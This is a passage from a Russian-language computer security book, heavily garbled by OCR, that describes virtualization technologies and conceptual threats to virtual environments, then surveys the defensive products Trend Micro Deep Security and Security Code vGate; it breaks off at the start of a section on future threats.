обповлепиями и исправлепиями корпоративпых продуктов Microsoft: 
Windows ХР Professional, Windows 2000, Windows Server 2003, 2008 
Office ХР, Office 2003, SQL Server 2000, SQL Server 2005, Exchange 
Server 2003 и других приложепий и операциоппых систем. Набор 
поддерживаемых продуктов постояппо увеличивается. Это подтверж
дается тем фактом, что при первой же сипхропизации WSUS с сайтом 
Microsoft Update список обповляемых продуктов в окпе пастройки 
параметров сипхропизации зпачительпо вырос. 

WSU S  является весьма полезпым ипструмептом для системпых 
адмипистраторов сетей разпых масштабов.  Эта служба позволяет 
спизить трафик иптерпет-соедипепия оргапизации за счет одпократ
пой загрузки обповлепий с сайта Microsoft U pdate, цептрализоваппо 
управлять обповлепиями программпых продуктов Microsoft в сети 
оргапизации. 
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4.4. За кл ючен ие 
В этой главе я рассмотрел осповпые типы уязвимостей. Стоит от
метить, что вообще уязвимости и создапие эксплоитов - это очепь 
обширпая тема, заслуживающая отдельпой кпиги. Здесь же я лишь 
привел осповпые припципы поиска уязвимостей и паписапия экс
плоитов. 



АТАКИ 

В ВИ РТУАЛ ЬНОЙ 

СРЕДЕ 

В последпие годы средства виртуализации получили широкое рас
прострапепие. Сейчас во мпогих круппых оргапизациях имеются 
десятки, а то и сотпи виртуальпых серверов, обеспечивающих раз 
личпые промышлеппые задачи. У этих решепий есть мпожество пре
имуществ перед аппаратпыми. Во-первых, это возможпость спизить 
требовапия к системе электропитапия. Во мпогих офиспых цептрах 
в круппых городах присутствуют проблемы при подаче эпергети
ческих мощпостей, и оргапизации зачастую пе могут разместить па 
арепдуемой площади желаемое число серверов для своих приложе
пий. Во-вторых, экопомия места в серверпой, так как па пескольких 
мощпых физических машипах можпо разместить песколько десят
ков виртуальпых. В-третьих, большое зпачепие имеет потреблепие 
процессорпых ресурсов, которое при использовапии виртуализации 
можпо существеппо оптимизировать. 

В даппой главе я подробпо рассмотрю различпые аспекты обеспе
чепия безопаспости виртуальпых сред. Но пачпем мы с рассмотрепия 
осповпых припципов техпологий виртуализации. 

5. 1 . Техн ологи и ви ртуал иза ц и и  
Виртуализация возпикла как техпология, позволяющая одповремеп
по запускать различпые операциоппые системы па одпом и том же 
компьютере. В последпее время виртуализация распрострапяется па 
уровепь приложепий и даже па уровепь аппаратпой реализации. 
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Настольпые и серверпые техпологии виртуализации работают, по 
сути, одипаково.  Программа виртуализации фупкциопирует поверх 
собствеппой (базовой) операциоппой системы, обеспечивает управ
ляющий иптерфейс и позволяет создавать песколько виртуальпых 
машип (VM).  Как и физическая система, каждая VM имеет соб 
ствеппые процессор и оперативпую память и может поддерживать 
песколько жестких дисков и сетевых карт, по все эти компопепты 
являются виртуальпыми, а пе физическими. На рисупке показапа 
взаимосвязь между VM и базовой операциоппой системой (рис. 42) .  

Физический сервер, rиnе рвизор VMware и вирrуальн ые 
маwи н ы. Кажд<1я ви�а11 ь"ая маши"" ВК11 ЮЧ<1ет н обор 

виртуальн ы� компонентов, операци он ную �и стему и 

nриложен и !f .  

Рис. 42. Внртуальные компоненты VM 

Виртуальпая машипа паходится па жестком диске базовой системы 
и использует часть объема ее жестких дисков для своих виртуальпых 
жестких дисков.  Количество дискового прострапства, запимаемого 
VM, зависит от используемого типа виртуальпого жесткого дис
ка. Большипство продуктов поддерживают два типа виртуальпых 
жестких дисков:  дипамический и фиксироваппый. Дипамический 
виртуальпый жесткий диск впачале использует мипимальпое дис -
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ковое прострапство, по затем автоматически расширяется по мере 
увеличепия потребпости в прострапстве. Фиксироваппый диск имеет 
постояппый размер и пе увеличивается. Фиксироваппый диск мо
жет впустую запимать лишпее прострапство, если оп большего раз
мера, чем это пеобходимо, по обеспечивает лучшую производитель
пость, поскольку пе должеп мепять своего размера. Независимо от 
того, используется дипамический или фиксироваппый виртуальпый 
диск, размер запимаемого прострапства базовой системы апалогичеп 
размеру, который бы потребовался в рамках физической системы, 
а имеппо от 2-4 Гбайт до сотеп гигабайтов дискового прострапства, 
в зависимости от требовапий VM. 

Все активпые VM сообща используют физическую оперативпую 
память базовой системы. Базовая система, имеющая лишь 5 1 2  Мбайт 
оперативпой памяти, вероятпо, сможет обеспечить запуск только од
пой (возможпо, двух) VM, поскольку эти 5 1 2  Мбайт будут совмест
по использоваться базовой системой и активпыми VM. Увеличивая 
оперативпую память базовой системы, можпо увеличить число VM, 
способпых фупкциопировать параллельпо. 

После создапия VM осуществляется ее запуск, а затем с исполь
зовапием адмипистративпого иптерфейса выполпяется загрузка опе
рациоппой системы, пазываемой �гостевой�, в среде VM. Гостевая 
операциоппая система фупкциопирует точпо так же, как отдельпая 
физическая. После запуска гостевой операциоппой системы можпо 
выполпить устаповку приложепий практически так же, как па физи
ческой системе. 

Настольпые продукты виртуализации стали популярпы благо
даря техпологии VMware Workstation, по сути давшей пачальпый 
импульс волпе виртуализации, и лидерство в этой области остается 
за VMware Workstation 5 .5 .  Дебютом Microsoft в даппой категории 
стал весьма пеплохой продукт Virtual РС 2004, который, одпако, пе 
поддерживает Linux и 64-разрядпых техпологий и пе обладает пре
имуществами Snapshot Manager и клопировапия, реализоваппыми 
в VMware Workstation 5 .5 .  

Следующее поколепие техпологий виртуализации появилось 
в серверпом прострапстве. Серверпые продукты решают две оспов
пые проблемы - позволяют осуществлять копсолидацию серверов 
па предприятиях и эксплуатировать упаследоваппые серверпые опе
рациоппые системы и приложепия. Серверпые продукты в первую 
очередь предусматривают запуск Windows 2003, Windows 2000 Server 
и Linux в качестве гостевых операциоппых систем и обеспечивают 
большие возможпости масштабируемости и одповремеппого запуска 
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нескольких VM, но сравнению с настольными технологиями виртуа
лизации. Серверные продукты также обладают функциями, позво
ляющими управлять удаленными и объединенными в сеть системами. 

Пять основных продуктов в виртуальном серверном простран
стве - VMware Server, Microsoft Virtual Server 2005 Release 2 ( R2) ,  
Swsoft Virtuozzo for Windows, открытый продукт Xen 3.0 от XenSource 
и VMware ESX Server. Продукты VMware Server, Microsoft Virtual 
Server 2005 и Xen 3.0 являются бесплатными. Первые три продукта 
обладают одинаковыми возможностями. Продукт VMware Server, 
пришедший на смену линии VMware GSX Server, работает на Linux 
и Windows в качестве базовой системы. Появившаяся в результа
те приобретения Microsoft компании Connectix технология Virtual 
Server 2005 пришла на рынок позже, чем продукты VMware, и не об
ладает таким богатым набором функций. Однако Virtual Server 2005 
R2 имеет лучшую производительность и поддержку важной функции 
Windows Server 2003 Clustering Services для реализации сценари
ев консолидации серверов, где базовый виртуальный сервер может 
быть единственным уязвимым звеном для нескольких VM. Virtuozzo 
for Windows и Xen 3 .0  используются не так широко, как решения 
VM ware или Microsof, но Virtuozzo - новичок для рынка Windows, 
а Xen, подобно большинству открытых разработок, имеет ориентацию 
на использование Linux в качестве базовой системы. 

Явный лидер в серверном пространстве виртуализации - флаг
манский продукт VMware ESX Server. В отличие от VMware Server 
или Virtual Server 2005, ESX Server не требует базовой операционной 
системы, поскольку интегрируется со специальным облегченным па
тентованным ядром. Реализация тина �на железе� повышает произ
водительность VM, а отсутствие необходимости в базовой операцион
ной системе снижает затраты, связанные с приобретением лицензий. 
VMware также располагает инструментом VMware VirtualCenter, 
обеспечивающим возможность управления VM и динамической сме
ны базовой операционной системы, что позволяет приспособиться 
к изменению условий рабочего цикла. 

5.2 . Сетевые угрозы в ви ртуал ьной среде 
Физические серверы для обмена трафиком всегда используют сете
вую инфраструктуру, то есть пакет, переданный с одного сервера на 
другой, обязательно пройдет через коммутатор,  где, как правило, име
ются средства межсетевого экранирования, предотвращения втор-
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жений и другие элементы сетевой безопасности. Для виртуальных 
серверов это совершенно необязательно. 

В случае вирусной эпидемии вредоносному коду необходимо для 
заражения других машин перемещаться но сети. В виртуальной среде 
зачастую для заражения десятков серверов не нужно передавать но 
внешней сети ни одного пакета. 

И наконец, для виртуальных машин более вероятна ситуация, 
когда долгое время отключенный сервер после включения какое-то 
время работает с устаревшими средствами защиты. Такая ситуация 
часто бывает после восстановления виртуальной машины из резерв
ной копии. 

Виртуальные машины, находящиеся в отключенном состоянии, 
не обновляют антивирусных баз и других компонентов защиты. 
В результате при включении данные машины некоторое время (до 
нескольких часов)  могут находиться в недостаточно защищенном 
состоянии, что может привести к заражению их вредоносным кодом. 
Аналогичная проблема и с обновлениями операционной системы 
виртуальных машин. 

Также важная проблема с безопасностью виртуальных машин -
возможность доступа к памяти машины извне. Так как оперативная 
намять виртуальной машины представляет собой набор файлов , то 
возможна ситуация, когда злоумышленник сможет получить доступ 
к содержимому оперативной памяти всех виртуальных машин, нахо
дящихся на данном сервере. Или, к примеру, вирус сможет заразить 
все виртуальные машины на сервере, просто скопировав себя в их 
оперативную намять. На первый взгляд, это кажется почти невозмож
ным. Ведь речь идет не только о раздельных виртуальных машинах и 
системе гинервизора. Зачастую при помощи виртуализации создают
ся абсолютно разнородные среды. Например: Uniх-система (VMware 
ESX, Citrix XenServer) в качестве виртуальной среды (гинервизора) 
и гостевые системы под Windows. Или, наоборот, используются май
крософтовский Hyper-V и несколько гостевых виртуалок под Linux. 

А как известно, у Windows- и Uniх-систем очень много различий 
как в архитектуре, так и в адресации памяти и других элементах. 
Однако не стоит забывать, что в различных реализациях VMWare 
для обмена между виртуальной средой и гинервизором применяются 
программные средства. Не стоит рассчитывать на то, что злоумыш
ленники никогда не смогут разработать вредоносное ПО,  которое 
сможет проникать из виртуальной среды или из физических серверов 
и других источников в гинервизор и оттуда заражать другие вир
туальные машины. 
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Конечно, некоторые из этих нроблем можно решать традицион
ными средствами, нанример можно наставить антивирусное ПО на 
каждую из виртуальных машин. Но сейчас уже имеется ряд решений, 
нредназначенных для обеснечения безонасности виртуальной среды. 

Поскольку на данный момент является весьма нонулярным реше
нием иснользование гинервизоров на базе VMware ESX, мы будем 
рассматривать онисанные нроблемы нрименительно именно к этому 
гинервизору. 

5.3 . За щ ита ви ртуал ьн ой с реды 
Конечно, возможны различные изменения в архитектуре настроения 
виртуальной среды, но в целом тиновая инфраструктура выглядит 
надобным образом (рис. 43). 
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Рис. 43. Типовая виртуальная инфраструктура 

5. З. 1 .  Trend Micro Deep Security 

Далее в качестве средств защиты виртуальной среды мы будем рас
сматривать два решения: Trend Micro Deep Security и Security Code 
vGate. Первый нродукт нредставляет из себя антивирусное средство 
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для виртуальной инфраструктуры, а второй является средством 
контроля доступа и обеспечения целостности. Начнем с Trend Micro 
Deep Security. 

Изначально данный продукт разрабатывался компанией Third 
Brigade. Однако некоторое время назад антивирусный гигант Trend 
Micro приобрел эту компанию вместе с ее разработками но защите 
виртуальной среды. 

В этом продукте используется новейший API VMware vShield 
Endpoint, который компания VMware предоставляет разработчикам 
для взаимодействия с виртуальной средой. 

С помощью VMware vShield Endpoint производится обмен дан
ными между физическим сервером гинервизора и виртуальными 
машинами. Благодаря использованию специализированного интер
фейса для разработчиков, (API) входящего в состав VMware vShield 
Endpoint, она отличается более высокой производительностью, при 
этом обеспечивая повышенный уровень защиты от вредоносного 
кода. 

Также Deep Security содержит модуль защиты от вредоносного 
кода. Этот модуль не требует установки агента и дополняет уже 
имеющиеся возможности средств защиты предыдущих версий про
дукта с тем же названием (7 .0) ,  включая механизмы обнаружения 
и предотвращения вторжений, средства защиты и контроля целост
ности приложений, брандмауэр с отслеживанием состояния соеди
нений, средства мониторинга целостности и анализа событий в жур
налах. Как видно из этого описания, с помощью Trend Micro Deep 
Security вполне можно решить описанные ранее проблемы вредонос
ного кода и распространения трафика но сети между виртуальными 
машинами. 

Данное решение состоит из следующих четырех модулей: 

О Deep Security Manager; 
О Deep Security Agent; 
О Security Center; 
О Deep Security Virtual Appliance. 

Первый модуль Deep Security Manager осуществляет централи
зованное управление всей системой защиты виртуальной инфра
структуры. Диспетчер Deep Security Manager представляет собой 
систему управления, с помощью которой администраторы могут 
создавать профили безопасности и применять их к серверам. Она 
оснащена централизованной консолью для отслеживания преду
преждений и выполнения предупреждающих действий в ответ на 
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обнаружение угроз. Deep Security Manager может в автоматическом 
режиме или но запросу рассылать обновления безопасности серве
рам. С помощью данного продукта можно создавать отчеты с целью 
контроля его действий и обеспечения соответствия требованиям 
законодательства. 

Также добавлена новая функция назначения тегов для событий, 
которая оптимизирует работу с большим количеством угроз и по
зволяет задавать процедуры реагирования на них. 

Deep Security Agent - это небольшой программный компонент, 
устанавливаемый на защищаемый сервер или виртуальную маши
ну и обеспечивающий применение политики безопасности. Он под
держивает систему обнаружения и предотвращения атак ( Intrusion 
Detection and Prevention, или IDS/IPS),  выполняет функции защиты 
веб-нриложений, управления приложениями, брандмауэра, контроля 
целостности и проверки журналов .  Установка агентов не является 
обязательной, однако она позволяет обеспечить соответствие поли
тике безопасности. 

Центр управления безопасностью Security Center - это команда 
специалистов Trend Micro в области безопасности, которые раз 
рабатывают и предоставляют обновления для исправления только 
что обнаруженных уязвимостей. Security Center имеет клиентский 
портал, используемый для доступа к этим обновлениям и послед
ней информации . Обновления безопасности могут доставляться 
диспетчеру Deep Security Manager автоматически или но запро 
су с последующей установкой на тысячах серверов за считанные 
минуты. 

Deep Security Virtual Appliance - специализированная виртуаль
ная машина, защищающая остальные виртуальные машины в рам
ках одного Е SХ-сервера путем анализа трафика с использованием 
технологии VMsafe .  Виртуальное устройство Deep Security Virtual 
Appliance содержит ядро системы сканирования вредоносного 
кода. 

VMsafe - технол огия ,  позволяющая сторонним разработч и кам по
луч ить доступ к г иперв изору VMwa re и факти чески п редста вляющая 
собой набор АР l - и нтерфейсов .  

При взаимодействии между виртуальным устройством и госте
выми виртуальными машинами допускаются только специальные 
действия, связанные с защитой от вредоносных программ. Поскольку 
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устройство всегда включено, система безопасности постоянно конт
ролирует виртуальные машины, благодаря чему достигается необ
ходимый уровень безопасности даже в выключенных системах, так 
как обновления антивирусных баз будут скачиваться виртуальным 
устройством, которое также может сканировать не запущенные на 
данный момент машины. 

Однако здесь стоит отметить наличие угрозы безопасности, ко
торая уже упоминалась выше, - она существует для выключенных 
гостевых виртуальных машин. Когда guest-cиcтeмa включается после 
долгого простоя, антивирусные базы, а также обновления операци
онной системы на ней некоторое время являются неактуальными. 
Время, в течение которого защита системы будет ослаблена, зависит 
от настроек антивирусной системы, установленной на виртуальной 
машине, а также от пропускной способности канала связи между сер
вером обновлений и данной виртуалкой. Это широко распространен
ная проблема. 

Для борьбы с ней Trend Micro Deep Security производит сканиро
вание памяти виртуальной машины без участия программы-агента, 
и как только в ней появляется какая-либо вредоносная активность, 
антивирусная система тут же предпринимает установленные полити
ками действия но защите. 

А для случаев,  когда еще не установлены обновления операци
онной системы, Deep Security предлагает защиту от атак �нулевого 
дня�,  речь о которых пойдет чуть позже. 

Одним из способов заражения физических машин вредоносными 
программами является отключение антивирусного ПО в процессе 
проникновения в систему. При использовании виртуального устрой
ства вредоносный код не сможет отключить агента антивируса, по
тому что его нет на виртуальной машине. 

Немаловажным обстоятельством для организаций, чья деятель
ность регулируется государственными нормативными актами, явля
ется то обстоятельство, что Deep Security также помогает обеспечить 
соблюдение нормативных требований и стандартов,  например PCI 
DSS и др. 

Payment Card lndustry Data Securlty Standard {PCI DSS) - стан
дарт за щиты и нформаци и в и ндустри и  платежных карт, разработа н
ный международными платежными системами Visa и MasterCard .  Объ
еди няет в себе требования  ряда п рограмм по за щите и нформа ци и .  
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На рис. 44 нредставлена схема защиты, обеснечиваемая с но мощью 
онисанных модулей. 

-
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Рис. 44. Схема защнты 

5. З.2. Схема защиты Deep Security 

В нродукте Trend Micro Deep Security антивирусный функционал 
реализован как основная часть системы, донолненная другими моду
лями безонасности, такими как виртуальное унравление установкой 
обновлений и межсетевой экран, разработанный с учетом особенно
стей защиты виртуальной среды. В частности, в данном функционале 
нредусмотрена защита уязвимых мест от известных атак и атак тина 
«нулевого дню>. 

Атакой нупевоrо дня (или нупевоrо часа) называется комп ью
терная  ата ка,  и с пол ьзующая  уяз в и мости , не  и з вестн ые  разработ
ч и кам средств з а щиты,  л и б о  уяз в имости , для которых  отсутствуют 
заплатки . В контексте а нти в и русной за щиты ата ками нулев ого дня 
явля ются в и русы,  которые  не определяет анти в и русное П О .  



ЗАЩ ИТА ВИРТУАЛЬНО Й СРЕДЫ 247 

Интеллектуальные правила защиты от атак тина �нулевого дня�, 
которые позволяют предотвратить угрозы, направленные на неиз
вестные уязвимые места, обнаруживают необычные данные прото
колов, содержащие вредоносный код. В случае если найдены новые 
угрозы, производятся автоматическое обеспечение защиты недавно 
обнаруженных уязвимых мест в течение нескольких часов и развер
тывание защитных правил на тысячах серверов за считанные минуты 
без перезагрузки системы. 

Вообще, в Deep Security предусмотрена работа в режиме поиска 
угроз или профилактики. В нервом случае осуществляется реактив
ная защита, во втором - нроактивная. Реактивной считается защита, 
которая реагирует на угрозу, нроактивная пытается предотвратить 
ее появление. П роактивный механизм защиты позволяет предотвра
тить заражение уязвимых мест операционных систем и приложений 
предприятия. Говоря об известных уязвимостях, следует отметить, 
что в Deep Security имеются встроенные функции защиты уязвимых 
мест более чем 1 00 приложений, включая базы данных, веб-серверы, 
а также почтовые и FТР-серверы. 

В Deep Security имеется набор средств для обеспечения сетевой 
безопасности. В первую очередь это двунаправленный потоковый 
брандмауэр,  обеспечивающий контроль обмена трафиком как с внеш
ней сетью, так и между виртуальными машинами. Также в межсете
вом экране имеется детальная фильтрация (IP- и МАС-адреса, пор
ты).  Есть возможность разработки политик для отдельных сетевых 
интерфейсов и получения сведений об их расположении. Управление 
политиками серверного брандмауэра, включая шаблоны для исполь
зования на серверах распространенных типов, осуществляется цент
рализованно. 

Дополнительно межсетевой экран Deep Security обладает функ
ционалом для защиты от атак на уровне приложений, а также от 
внедрения кода в базы данных ( SQL-инъекции) и межсайтового вы
полнения сценариев ( Cross Site Scripting). 

Атаки тина �отказ в обслуживании� получили широкое распро
странение в последние годы из-за сравнительной простоты их реали
зации. Deep Security обладает механизмом для предотвращения дан
ных атак, а также обнаружения �разведывательного� сканирования, 
которое взломщики часто используют перед началом атаки. Также 
межсетевой экран поддерживает все IР-нротоколы (ТСР, UDP, ICMP 
и т .  д. ) и тины фреймов ( IP, ARP и т .  д .) .  
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5. З. З. Защита веб-приложений 

Виртуальные машины очень часто используют в качестве веб-серве
ров. Поэтому в Trend Micro Deep Security предусмотрены специаль
ные средства защиты. В частности, имеются: 

О средства но контролю за уязвимостями, имеющимися в веб 
нриложениях, и защита уязвимых мест д о  выпуска соответст
вующих исправлений ; 

О защита от внедрения кода SQL, межсайтового выполнения сце
нариев и других атак, направленных на веб-нриложения ; 

О обеспечение соответствия требованиям различных стандар
тов с целью защиты веб-нриложений и обрабатываемых ими 
данных. 

Управление приложениями 
Администратору виртуальной среды всегда необходимо знать, какие 
именно приложения имеют доступ во внешнюю сеть для обеспечения 
более полного контроля над ними. 

В Deep Security предусмотрены предоставление более подробной 
информации о таких приложениях и использование правил управ
ления ими для обнаружения вредоносных программ, проникающих 
в сеть. 

Анализ событий и инцидентов 
Помимо средств защиты, в Deep Security также предусмотрены ин
струменты для анализа событий информационной безопасности, про
исходящих на виртуальных машинах. В частности, производятся сбор 
и анализ журналов операционной системы и приложений с целью 
обнаружения событий в системе безопасности. В целом механизм 
обеспечивает обнаружение подозрительной деятельности, сбор све
дений о событиях, относящихся к системе безопасности, и действиях 
администратора в центре обработки данных, а также создание усовер
шенствованных правил с помощью синтаксиса анализатора журналов 
событий OSSEC. 

Помимо этого, в Deep Security имеется механизм обнаружения 
и предотвращения проникновений. Данный механизм анализирует 
события и предоставляет аналитическую информацию, содержа
щую сведения о времени атаки, IР-адрес источника и уязвимости, 
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которой он попытался воспользоваться. Также производится авто
матическое оповещение администратора об атаке но электронной 
почте. 

Здесь обеспечивается соответствие требованиям международных 
стандартов для оптимизации поиска важных событий в журналах 
системы безопасности. 

Помимо самостоятельного анализа угроз ,  Trend Micro Deep 
Security может также уведомлять систему управления событиями 
безопасности (например, ArcSight) об инцидентах для сопоставления 
моделям угроз, формирования отчетов и архивации. 

Контроль целостности 
Механизм контроля целостности в виртуальных машинах являет
ся важным элементом функционала защиты Deep Security. Система 
осуществляет наблюдение за важными элементами операционных 
систем и приложений, например каталогами, разделами реестра и 
значениями, с целью поиска вредоносных и незапланированных из
менений. 

Deep Security производит поиск изменений в существующих фай
ловых системах, а также анализ создаваемых файлов и оповещение 
о них в реальном времени. 

Сканирование на наличие изменений может производиться но тре
бованию, но расписанию или в реальном времени. Также имеется воз
можность проверки свойств файлов в соответствии со стандартами и 
наблюдение за отдельными каталогами. 

Имеются средства гибкого мониторинга с возможностью указания 
исключений и доступные для проверки отчеты (рис. 45) .  

И хотя ряд функций, таких как контроль целостности файлов, тре
буют установки агента, большая часть имеющихся в решении инстру
ментов доступна без установки данного программного обеспечения. 
Однако его использование позволяет заметно снизить нагрузку на 
вычислительные мощности виртуальной машины. 

Снижение нагрузки при сканировании 
Вопрос об экономии мощностей в виртуальной среде нужно рассмот
реть особо. Когда мы защищаем группу физических машин от вре
доносного кода, нам необходимо на каждую из них поставить анти
вирусную систему. Когда мы защищаем группу виртуальных машин, 
мы также можем поставить агентов антивирусной системы на каждую 
из машин (рис. 46) .  
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Но если нам необходимо произвести сканирование всех виртуаль
ных машин, да еще и одновременно, то нагрузка на аппаратные сер
веры, содержащие эти машины, возрастет кратно их количеству. Для 
того чтобы снизить эту нагрузку, Trend Micro Deep Security содержит 
ядро системы защиты от вредоносного кода на физической машине, 
и при сканировании запускается лишь один процесс, который про
веряет все виртуальные машины. Это существенно экономит ресурсы 
и снижает нагрузку на аппаратное обеспечение host-cepвepoв . 

Данное обстоятельство является еще одним преимуществом ис 
пользования Trend Micro Deep Security перед �традиционными� 
средствами антивирусной защиты. 

5. 3.4. Подводя итоги 

До недавнего времени защита виртуальных машин осуществлялась 
теми же средствами, что и защита физических серверов и рабочих 
станций. То есть использовались те же антивирусы, межсетевые экра
ны и другие инструменты для обеспечения безопасности. Однако 
с развитием корпоративных средств виртуализации стали очевидны 
недостатки такого подхода. Вполне очевидно, что для виртуальной 
среды требуются специализированные средства защиты, одним из 
которых является Trend Micro Deep Security. Данный продукт на 
сегодняшний день обладает наиболее развитым функционалом но 
обеспечению антивирусной защиты, предотвращению вторжений и 
анализу трафика для гостевых систем, являясь надежным средством 
обеспечения безопасности данной среды от вредоносного кода. 

5.4. Sec u rity Code vGate 

Продукт Security Code vGate for VMware Infrastructure - это сред
ство защиты информации от несанкционированного доступа. Также 
этот продукт позволяет осуществлять контроль выполнения политик 
информационной безопасности, предназначенного для обеспечения 
безопасности виртуальной инфраструктуры на базе систем VM ware 
Infrastructure 3 и VMware vSphere 4. 

Данное решение необходимо для предотвращения утечек через 
специфические каналы среды виртуализации, в том числе и через 
каналы обмена трафиком с другими виртуальными машинами, о ко
торых мы говорили ранее, а также обеспечения доверенной загрузки 
виртуалок и контроля доступа к элементам инфраструктуры. 
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Также vGate производит разделение объектов инфраструктуры на 
логические группы и сферы администрирования через мандатное и 
ролевое управление доступом. 

П риведу небол ьшое пояснение п ро управление доступом. Ма ндатная 
модел ь п редста вляет соб ой раз гр а н и ч е н и е  доступа пользователей  
к разл и ч ным ресурсам в и ртуальной  и н ф раструкту р ы .  Да н ное раз
гра н и чение  основано  на назначен и и  метки конфиденциальности для 
и нформаци и ,  содержа щейся в ресурсах, и п редоста вле н и и  официал ь
ных  разрешений  пол ьзователям. 

В ролевой модели нрава доступа пользователей системы к ресур
сам группируются с учетом специфики их применения, образуя роли. 
В vGate используются обе модели управления. 

Усиленная аутентификация в совокупности с разделением ролей 
и делегированием полномочий позволяет дополнительно усилить 
защиту управления виртуальной средой. Например, роль суперполь
зователя здесь разделена на две роли, которые не могут быть назначе
ны одному пользователю. Имеются следующие роли: администратор 
информационной безопасности (АИБ)  и администратор виртуальной 
инфраструктуры (АВИ).  Такое разграничение позволяет избежать 
захвата всех полномочий в виртуальной среде злоумышленником. 
Также данное разграничение дает возможность соответствовать раз
личным требованиям отраслевых стандартов но информационной 
безопасности (ИБ) .  В частности, при развертывании vGate произ 
водятся автоматическое приведение инфраструктуры в соответствие 
требованиям (таким как PCI  DSS, СТО БР ИББС, ФЗ 152  и др. ) и 
постоянный контроль соответствия. 

Кроме этих возможностей, в vGate имеются средства для мони
торинга событий ИБ, собственный функционал и средства создания 
структурированных отчетов.  

5.4. 1 .  Что защищает vGate? 

Рассмотрим подробно, что именно защищает vGate. Прежде всего 
данный продукт осуществляет защиту средств управления виртуаль
ной инфраструктурой. 

К этому можно отнести и ЕSХ-серверы, предназначенные для 
запуска виртуальных машин, и серверы vCenter, предназначенные 
для централизованного управления виртуалками, средства, нредна-



SECU RIТY CODE vGATE 253 

значенные для обслуживания инфраструктуры, например VM ware 
Consolidated Backup, VMware Update Manager. 

Компрометация любого из этих элементов может привести к проб
лемам с безопасностью группы виртуальных машин или всей инфра
структуры. 

Средства управления гостевыми системами размещены внутри 
защищаемого периметра. Для обеспечения их защиты от несанкцио
нированного доступа предусмотрена аутентификация субъектов до
ступа, то есть пользователей и компьютеров, которые пытаются полу
чить доступ к защищаемым объектам, осуществляется но протоколам, 
нечувствительным к попыткам перехвата паролей и предотвращаю
щим вмешательство в передачу данных. 

Избирательное разграничение доступа к тем элементам, которые 
размещены внутри защищаемого периметра, осуществляется на ос
нове заданных ACL и параметров соединения (протоколов , портов ). 
Сетевой трафик между аутентифицированными субъектами и за
щищаемыми объектами подписывается посредством сертификатов, 
тем самым обеспечивается защита от атак тина �маn in the Middle� 
в процессе сетевого взаимодействия. 

5.4.2. Разграничение прав 

Полномочия администратора информационной безопасности но 
управлению виртуальной инфраструктурой ограничены только воз
можностью просмотра конфигурации элементов виртуальной инфра
структуры. 

Поскольку АИБ не имеет доступа к дискам виртуальных машин, 
то получить доступ к находящейся на них конфиденциальной ин
формации он не сможет. Паролей АВИ он также не знает и не может 
их поменять, поскольку они в обязательном порядке должны быть 
изменены АВИ при нервом входе в систему. 

Таким образом, АИБ не имеет возможности производить потен
циально опасные действия с виртуальной инфраструктурой, но мо
жет осуществлять мониторинг изменений в настройках. 

В vGate реализована возможность контроля действий администра
тора виртуальной инфраструктуры на уровне отдельных команд управ
ления. АВИ никак не может повлиять на АИБ, тем самым достигается 
разграничение нрав на управление виртуальной инфраструктурой. 

На практике управление нравами выглядит следующим образом. 
При изменении конфигурации у виртуальной машины с включенным 
контролем целостности меняются контрольные суммы. У админист-
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ратора информационной безопасности есть возможность принять 
или отклонить изменения конфигурации данной машины. При при
нятии изменений контрольная сумма файлов виртуальной машины 
пересчитывается. 

5.4. З. Ограничение управления и политики 

Возможность доступа из внешней сети через браузер к элементам 
управления виртуальной инфраструктурой заблокирована. Управ 
ляемые парольные политики позволяют обеспечить соблюдение от
раслевых требований к защите. 

Функция полномочного управления доступом дает возможность 
обеспечить более гранулированный доступ (но сравнению с дискре
ционным разграничением доступа) к конфиденциальным сведениям. 
Примером такого доступа является использование меток безопасно
сти для определенных ресурсов, таких как хранилище виртуальных 
машин, физические сетевые адаптеры или виртуальная локальная 
сеть. Также в vGate есть составные метки, которые можно использо
вать для разграничения доступа к персональным данным или сведе
ниям, составляющим государственную тайну, обрабатываемым в раз
ных отделах компании. 

С помощью политик безопасности vGate позволяет осуществлять 
запрет создания снимков ( take snapshot ). Функция применяется для 
противодействия нарушению целостности работы систем, обраба
тывающих данные ограниченного доступа. Помимо этого,  политики 
позволяют осуществлять запрет клонирования виртуальных машин. 
Функция дает возможность ограничить несанкционированное ко
пирование (клонирование) виртуальных машин, обрабатывающих 
данные ограниченного доступа. 

Блокирование и фильтрация сетевого трафика 
Теперь поговорим о контроле сетевого взаимодействия. В vGate от
ключен любой трафик со стороны гостевой системы к средствам 
управления виртуальной инфраструктурой. Благодаря этому со сто
роны отдельных виртуальных систем не получится захватить управ
ление всеми ресурсами сети. 

На vCenter имеется функция защиты, обеспечивающая фильтра
цию входящего трафика. Таким образом, осуществляется контроль 
несанкционированного доступа АВИ к средствам управления вир
туальной инфраструктурой внутри сети администрирования. 
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Доверенная программная среда 
vGate позволяет ограпичить список исполпяемых модулей, которые 
могут быть в штатпом режиме запущепы па ЕSХ-сервере. По умол
чапию список исполпяемых модулей ограпичеп фиксироваппым па
бором модулей ESX и vGate. При пеобходимости АИБ может рас
ширить список программ, разрешеппых для запуска па ESX -сервере. 
Коптроль моптировапия устройств к ЕSХ-серверу гараптирует певоз
можпость присоедипепия к хосту перепоспого оборудовапия, такого 
как USB Flаsh-пакопитель, и соответствеппо предотвращает песапк
циопироваппое копировапие файлов виртуальпых машип и зараже
пие сервера вредопоспым кодом. Ограпичепие скачивапия файлов 
ВМ можпо ограпичить с помощью vGate. Этот мехапизм позволяет 
сузить круг лиц, которым разрешепо скачивапие файлов виртуальпой 
машипы. Даппая фупкция реализовапа как привилегия пользователя. 

Контроль целостности и аудит 
Немаловажпым аспектом в защите виртуальпых машип является от
слеживапие измепепий в копфигурациоппом файле, который исполь
зуется при запуске машип для передачи параметров. Также большое 
зпачепие имеет паблюдепие за измепепиями пастроек виртуальпых 
машип. Даппая фупкция, включающая в себя проверку целостпости 
пастроек машипы перед ее загрузкой и образа BIOS виртуалки, обес
печивает довереппую программпую загрузку. Коптроль целостпости 
виртуальпой машипы осповап па базе пеизмеппости коптрольпых 
сумм. Вместе с даппой фупкцией включается также подробпый аудит 
измепепий в vmх-файле защищаемой машипы. Имеется возможпость, 
при пеобходимости, отклопять измепепия. 

В vGate еще имеется возможпость осуществлепия очистки памяти 
виртуальпой машипы. Фупкция гараптирует отсутствие остаточпой 
ипформации об обрабатываемых даппых в памяти машипы. 

5. 5 . В и ртуал ьн ые угроз ы будущего 

Завершая тему виртуализации, я приведу пример угрозы, которая мо
жет быть реализовапа в будущем посредством систем виртуализации. 

Одпим из самых распрострапеппых способов хищепия копфидеп
циальпых даппых является использовапие различпых видов вредо
поспого ПО,  каким-либо образом пропикающего па машипу жертвы 
